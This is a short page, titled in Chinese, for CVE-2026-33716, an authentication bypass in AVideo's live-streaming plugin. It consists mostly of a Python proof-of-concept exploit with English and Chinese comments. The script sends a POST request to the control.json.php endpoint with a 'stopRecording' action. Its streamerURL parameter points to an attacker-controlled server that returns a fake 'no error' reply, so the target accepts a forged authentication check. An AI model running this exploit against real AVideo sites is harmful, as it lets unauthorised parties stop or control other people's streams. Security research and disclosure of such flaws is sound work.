CVE-2026-33716 AVideo直播流认证绕过漏洞

import requests # Target AVideo instance endpoint # 目标 AVideo 实例端点 target_url = "http://target-site/plugin/Live/standAloneFiles/control.json.php" # Attacker controlled server that returns {"error": false} # 攻击者控制的服务器，返回 {"error": false} evil_server = "http://attacker-site/fake_auth.php" # Data payload exploiting the vulnerable streamerURL parameter # 利用易受攻击的 streamerURL 参数的数据负载 payload = { "action": "stopRecording", # Action to perform on the stream (对流执行的操作) "streamerURL": evil_server # Malicious override URL (恶意覆盖URL) } try: # Send the exploit request # 发送利用请求 response = requests.post(target_url, data=payload) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Exploit failed: {e}")